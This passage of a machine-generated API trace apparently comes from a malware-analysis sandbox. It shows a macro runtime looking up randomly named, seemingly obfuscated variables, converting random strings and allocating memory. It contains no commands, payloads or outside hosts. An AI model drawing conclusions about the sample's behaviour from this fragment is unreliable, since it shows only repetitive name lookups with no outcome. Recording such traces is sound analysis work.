pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.883] IUnknown:Release (This=0x7345930) returned 0x7 [0018.883] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.883] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_FfCOE", lHashVal=0x109ccd, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.883] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.883] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.883] IUnknown:Release (This=0x7919520) returned 0x10 [0018.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76334, cbMultiByte=10, lpWideCharStr=0xcfc3db8, cchWideChar=22 | out: lpWideCharStr="jYRVRFmERD") returned 10 [0018.883] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcfd0000 [0018.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7634e, cbMultiByte=10, lpWideCharStr=0xcfd0214, cchWideChar=22 | out: lpWideCharStr="SjRDdvCwqF") returned 10 [0018.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76362, cbMultiByte=10, lpWideCharStr=0xcfd03be, cchWideChar=22 | out: lpWideCharStr="HHDBlWZEZn") returned 10 [0018.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76376, cbMultiByte=10, lpWideCharStr=0xcfd0568, cchWideChar=22 | out: lpWideCharStr="KztlTlZiiR") returned 10 [0018.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7638a, cbMultiByte=10, lpWideCharStr=0xcfd0712, cchWideChar=22 | out: lpWideCharStr="aiuusKwusX") returned 10 [0018.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7639e, cbMultiByte=10, lpWideCharStr=0xcfd08bc, cchWideChar=22 | out: lpWideCharStr="WUHWFcUPju") returned 10 [0018.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb763b2, cbMultiByte=10, lpWideCharStr=0xcfd0a66, cchWideChar=22 | out: lpWideCharStr="fhfdsSnjjr") returned 10 [0018.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb763c6, cbMultiByte=10, lpWideCharStr=0xcfd0c10, cchWideChar=22 | out: lpWideCharStr="WXRYicNJJb") returned 10 [0018.885] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MzABWz") returned 0x10af08 [0018.885] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="MzABWz" | out: _Dst="MzABWz") returned 0x0 [0018.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="MzABWz") returned 7 [0018.885] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.885] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="MzABWz", lHashVal=0x10af08, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.885] IUnknown:Release (This=0x7919520) returned 0x10 [0018.885] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.885] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="MzABWz", lHashVal=0x10af08, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.886] IUnknown:Release (This=0x7346470) returned 0xb [0018.886] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.886] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="MzABWz", lHashVal=0x10af08, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.886] IUnknown:Release (This=0x7345930) returned 0x7 [0018.886] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.886] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="MzABWz", lHashVal=0x10af08, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.886] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.886] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.886] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_MzABWz" | out: _Dst="_B_var_MzABWz") returned 0x0 [0018.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_MzABWz") returned 14 [0018.886] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.886] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_MzABWz", lHashVal=0x102972, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.886] IUnknown:Release (This=0x7919520) returned 0x10 [0018.886] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.886] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_MzABWz", lHashVal=0x102972, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.886] IUnknown:Release (This=0x7346470) returned 0xb [0018.886] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.886] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_MzABWz", lHashVal=0x102972, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.886] IUnknown:Release (This=0x7345930) returned 0x7 [0018.886] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.886] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_MzABWz", lHashVal=0x102972, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.886] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.886] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.886] IUnknown:Release (This=0x7919520) returned 0x10 [0018.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb763e4, cbMultiByte=10, lpWideCharStr=0xcfd3082, cchWideChar=22 | out: lpWideCharStr="VUwGASBXEJ") returned 10 [0018.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb763fe, cbMultiByte=10, lpWideCharStr=0xcfd34cc, cchWideChar=22 | out: lpWideCharStr="iLctORkwOS") returned 10 [0018.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76412, cbMultiByte=10, lpWideCharStr=0xcfd3676, cchWideChar=22 | out: lpWideCharStr="LqSzOHqKkz") returned 10 [0018.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76426, cbMultiByte=10, lpWideCharStr=0xcfd3820, cchWideChar=22 | out: lpWideCharStr="vBjNwUMYBK") returned 10 [0018.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7643a, cbMultiByte=10, lpWideCharStr=0xcfd39ca, cchWideChar=22 | out: lpWideCharStr="GihGIKsLkj") returned 10 [0018.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7644e, cbMultiByte=10, lpWideCharStr=0xcfd3b74, cchWideChar=22 | out: lpWideCharStr="WQEIcfBwrs") returned 10 [0018.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76462, cbMultiByte=10, lpWideCharStr=0xcfd3d1e, cchWideChar=22 | out: lpWideCharStr="crmHOdcPwt") returned 10 [0018.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76476, cbMultiByte=10, lpWideCharStr=0xcfd3ec8, cchWideChar=22 | out: lpWideCharStr="FLwEMjIMrD") returned 10 [0018.887] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcfe0000 [0018.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MCOrtwmhT") returned 0x10ae6c [0018.888] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="MCOrtwmhT" | out: _Dst="MCOrtwmhT") returned 0x0 [0018.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="MCOrtwmhT") returned 10 [0018.888] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.888] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="MCOrtwmhT", lHashVal=0x10ae6c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.888] IUnknown:Release (This=0x7919520) returned 0x10 [0018.888] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.888] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="MCOrtwmhT", lHashVal=0x10ae6c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.888] IUnknown:Release (This=0x7346470) returned 0xb [0018.888] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.888] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="MCOrtwmhT", lHashVal=0x10ae6c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.888] IUnknown:Release (This=0x7345930) returned 0x7 [0018.888] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.888] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="MCOrtwmhT", lHashVal=0x10ae6c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.889] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.889] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.889] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_MCOrtwmhT" | out: _Dst="_B_var_MCOrtwmhT") returned 0x0 [0018.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_MCOrtwmhT") returned 17 [0018.889] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.889] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_MCOrtwmhT", lHashVal=0x10a830, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.889] IUnknown:Release (This=0x7919520) returned 0x10 [0018.889] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.889] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_MCOrtwmhT", lHashVal=0x10a830, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.889] IUnknown:Release (This=0x7346470) returned 0xb [0018.889] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.889] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_MCOrtwmhT", lHashVal=0x10a830, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.889] IUnknown:Release (This=0x7345930) returned 0x7 [0018.889] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.889] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_MCOrtwmhT", lHashVal=0x10a830, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.889] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.889] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.889] IUnknown:Release (This=0x7919520) returned 0x10 [0018.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76494, cbMultiByte=10, lpWideCharStr=0xcfe236c, cchWideChar=22 | out: lpWideCharStr="fjiwHoVrSr") returned 10 [0018.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb764ae, cbMultiByte=10, lpWideCharStr=0xcfe27b6, cchWideChar=22 | out: lpWideCharStr="hiHQZkWqlz") returned 10 [0018.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb764c2, cbMultiByte=10, lpWideCharStr=0xcfe2960, cchWideChar=22 | out: lpWideCharStr="ilHlAjoLOo") returned 10 [0018.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb764d6, cbMultiByte=10, lpWideCharStr=0xcfe2b0a, cchWideChar=22 | out: lpWideCharStr="ojTpkdShjF") returned 10 [0018.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb764ea, cbMultiByte=10, lpWideCharStr=0xcfe2cb4, cchWideChar=22 | out: lpWideCharStr="ITboDOBijN") returned 10 [0018.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb764fe, cbMultiByte=10, lpWideCharStr=0xcfe2e5e, cchWideChar=22 | out: lpWideCharStr="LHzRIuYszb") returned 10 [0018.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76512, cbMultiByte=10, lpWideCharStr=0xcfe3008, cchWideChar=22 | out: lpWideCharStr="AJddDAOSfv") returned 10 [0018.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76526, cbMultiByte=10, lpWideCharStr=0xcfe31b2, cchWideChar=22 | out: lpWideCharStr="SpJfpKJThm") returned 10 [0018.890] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcff0000 [0018.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qczLSGObk") returned 0x1027ae [0018.891] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="qczLSGObk" | out: _Dst="qczLSGObk") returned 0x0 [0018.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="qczLSGObk") returned 10 [0018.891] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.891] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="qczLSGObk", lHashVal=0x1027ae, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.891] IUnknown:Release (This=0x7919520) returned 0x10 [0018.891] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.891] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="qczLSGObk", lHashVal=0x1027ae, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.891] IUnknown:Release (This=0x7346470) returned 0xb [0018.891] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.891] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="qczLSGObk", lHashVal=0x1027ae, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.891] IUnknown:Release (This=0x7345930) returned 0x7 [0018.891] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.891] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="qczLSGObk", lHashVal=0x1027ae, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.891] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.891] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.891] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_qczLSGObk" | out: _Dst="_B_var_qczLSGObk") returned 0x0 [0018.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_qczLSGObk") returned 17 [0018.891] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.891] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_qczLSGObk", lHashVal=0x1030f3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.891] IUnknown:Release (This=0x7919520) returned 0x10 [0018.891] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.892] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_qczLSGObk", lHashVal=0x1030f3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.892] IUnknown:Release (This=0x7346470) returned 0xb [0018.892] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.892] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_qczLSGObk", lHashVal=0x1030f3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.892] IUnknown:Release (This=0x7345930) returned 0x7 [0018.892] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.892] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_qczLSGObk", lHashVal=0x1030f3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.892] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.892] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.892] IUnknown:Release (This=0x7919520) returned 0x10 [0018.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76544, cbMultiByte=28, lpWideCharStr=0xcff162c, cchWideChar=58 | out: lpWideCharStr="tJjUESC kzoHMicPVQDhfsTcArRU") returned 28 [0018.892] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="HnOrl") returned 0x106a8c [0018.892] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="HnOrl" | out: _Dst="HnOrl") returned 0x0 [0018.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="HnOrl") returned 6 [0018.892] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.892] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="HnOrl", lHashVal=0x106a8c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.892] IUnknown:Release (This=0x7919520) returned 0x10 [0018.892] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.892] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="HnOrl", lHashVal=0x106a8c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.892] IUnknown:Release (This=0x7346470) returned 0xb [0018.892] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.892] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="HnOrl", lHashVal=0x106a8c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.892] IUnknown:Release (This=0x7345930) returned 0x7 [0018.892] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.892] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="HnOrl", lHashVal=0x106a8c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.892] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.892] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0018.892] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_HnOrl" | out: _Dst="_B_var_HnOrl") returned 0x0 [0018.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_HnOrl") returned 13 [0018.892] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.892] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_HnOrl", lHashVal=0x102e79, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.892] IUnknown:Release (This=0x7919520) returned 0x10 [0018.892] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.892] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_HnOrl", lHashVal=0x102e79, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.893] IUnknown:Release (This=0x7346470) returned 0xb [0018.893] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.893] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_HnOrl", lHashVal=0x102e79, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.893] IUnknown:Release (This=0x7345930) returned 0x7 [0018.893] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.893] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_HnOrl", lHashVal=0x102e79, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.893] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.893] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.893] IUnknown:Release (This=0x7919520) returned 0x10 [0018.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7657c, cbMultiByte=10, lpWideCharStr=0xcff2382, cchWideChar=22 | out: lpWideCharStr="PiZDaiwbkR") returned 10 [0018.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76596, cbMultiByte=10, lpWideCharStr=0xcff27cc, cchWideChar=22 | out: lpWideCharStr="SQhJiOrasi") returned 10 [0018.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb765aa, cbMultiByte=10, lpWideCharStr=0xcff2976, cchWideChar=22 | out: lpWideCharStr="icPqbKUAvw") returned 10 [0018.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb765be, cbMultiByte=10, lpWideCharStr=0xcff2b20, cchWideChar=22 | out: lpWideCharStr="WpEndzRjjj") returned 10 [0018.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb765d2, cbMultiByte=10, lpWideCharStr=0xcff2cca, cchWideChar=22 | out: lpWideCharStr="jBifbpinWz") returned 10 [0018.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb765e6, cbMultiByte=10, lpWideCharStr=0xcff2e74, cchWideChar=22 | out: lpWideCharStr="oiUMVmPjbQ") returned 10 [0018.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb765fa, cbMultiByte=10, lpWideCharStr=0xcff301e, cchWideChar=22 | out: lpWideCharStr="KwfoudLtfk") returned 10 [0018.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7660e, cbMultiByte=10, lpWideCharStr=0xcff31c8, cchWideChar=22 | out: lpWideCharStr="zIuIwhzjPm") returned 10 [0018.894] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd000000 [0018.895] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZWVIimwjCkk") returned 0x10cdc8 [0018.895] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="ZWVIimwjCkk" | out: _Dst="ZWVIimwjCkk") returned 0x0 [0018.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="ZWVIimwjCkk") returned 12 [0018.895] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.895] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ZWVIimwjCkk", lHashVal=0x10cdc8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.895] IUnknown:Release (This=0x7919520) returned 0x10 [0018.895] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.895] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ZWVIimwjCkk", lHashVal=0x10cdc8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.895] IUnknown:Release (This=0x7346470) returned 0xb [0018.895] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.895] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ZWVIimwjCkk", lHashVal=0x10cdc8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.895] IUnknown:Release (This=0x7345930) returned 0x7 [0018.895] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.895] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ZWVIimwjCkk", lHashVal=0x10cdc8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.895] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.895] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.896] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_ZWVIimwjCkk" | out: _Dst="_B_var_ZWVIimwjCkk") returned 0x0 [0018.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_ZWVIimwjCkk") returned 19 [0018.896] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.896] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ZWVIimwjCkk", lHashVal=0x10bf2a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.896] IUnknown:Release (This=0x7919520) returned 0x10 [0018.896] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.896] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ZWVIimwjCkk", lHashVal=0x10bf2a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.896] IUnknown:Release (This=0x7346470) returned 0xb [0018.896] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.896] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ZWVIimwjCkk", lHashVal=0x10bf2a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.896] IUnknown:Release (This=0x7345930) returned 0x7 [0018.896] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.896] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ZWVIimwjCkk", lHashVal=0x10bf2a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.896] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.896] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.896] IUnknown:Release (This=0x7919520) returned 0x10 [0018.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7662c, cbMultiByte=10, lpWideCharStr=0xd00166c, cchWideChar=22 | out: lpWideCharStr="iJbAdjiCjp") returned 10 [0018.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76646, cbMultiByte=10, lpWideCharStr=0xd001ab6, cchWideChar=22 | out: lpWideCharStr="EZjFFwqzkC") returned 10 [0018.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7665a, cbMultiByte=10, lpWideCharStr=0xd001c60, cchWideChar=22 | out: 